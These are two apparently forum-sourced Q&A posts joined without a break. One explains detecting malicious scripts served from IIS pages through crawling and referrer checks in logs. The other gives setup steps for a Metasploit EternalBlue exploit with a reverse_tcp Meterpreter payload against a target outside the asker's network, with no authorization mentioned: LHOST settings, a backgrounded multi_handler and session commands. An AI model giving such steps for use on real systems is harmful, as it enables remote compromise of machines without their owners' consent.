Let's say that you are serving a web page from iis with a malicious image or script.  When the user makes the request for that page iis can log all the http requests (images, scripts, html, etc) to it's own server but not to the malicious server.  So you won't see any http requests in your iis logs.  Capturing of http requests that happen from your web pages can only be done at the client level.  Unfortunately, javascript does not have an api for capturing http request events but tools such as fiddler or firebug can show you all the http requests that are sent when a web page is loaded.  For this scenario you may be able to achieve your desired results by scripting a crawl of your website and enumerating all the http requests that are made.  You would then check if the domain of the request is your own and what the http response code is (success vs. failure).

The other scenario is if malicious data is being hosted and served from your website (e.g. someone uploaded some javascript and is calling it from another website).  A simple way to detect this is to parse your iis logs looking for http requests to non-html file types with a referrer other than your own.  The referrer can be spoofed if the attacker has enough foresight to do so.  This can also be actively prevented via a http module, url rewrite rule or via your website code if you set up something to serve your files.


Meterpreter cannot bind to external address I have a problem with exploiting machine outside my LAN network. I tried answers from StackExchange but they didn't work for me.

My setup of exploit: ms17_010_eternalblue

RHOST = target ip and RPORT = target port

I set the payload windows/meterpreter/reverse_tcp

LHOST = my PUBLIC ip and LPORT = my forwarded port on router.

I check the port and my external ip on canyouseeme.org and it shows that port is open.

When exploit starts it says:

[-] Handler failed to bind to XXX.XXX.XXX.XXX:4444:-  -my external ip

On other sites it says that i must set payload lhost to external ip but then this error shows. Please provide command by command answer because I don't have any ideas what to do. I know that handler must be set to my internal ip because it is listening for connections, but on the other side, the target must have my external ip to connect back to me.

You need the LHOST for the meterpreter to be your external IP and the LHOST for the handler to be the local IP. You can easily configure this when using multi_handler with the appropriate meterpreter payload (so that staging works).

Set the LHOST for multi_handler to be your external IP, run -j it in the background and then use whatever exploit you are using, setting the LHOST to your external IP and the correct meterpreter payload.

Setting the LHOST to the external IP will fail and instead, the handler will bind to 0.0.0.0.

Then run -j the exploit in the background and wait for the session to connect, then resume the session from the background.

(sessions -i sessionnumber where the session number comes from sessions -l)

Alternatively, you could use two consoles and not use background tasks.

Obiter dictum:

These additional loopholes you have to jump through are the reason why pentesting should be done without a NAT in the way.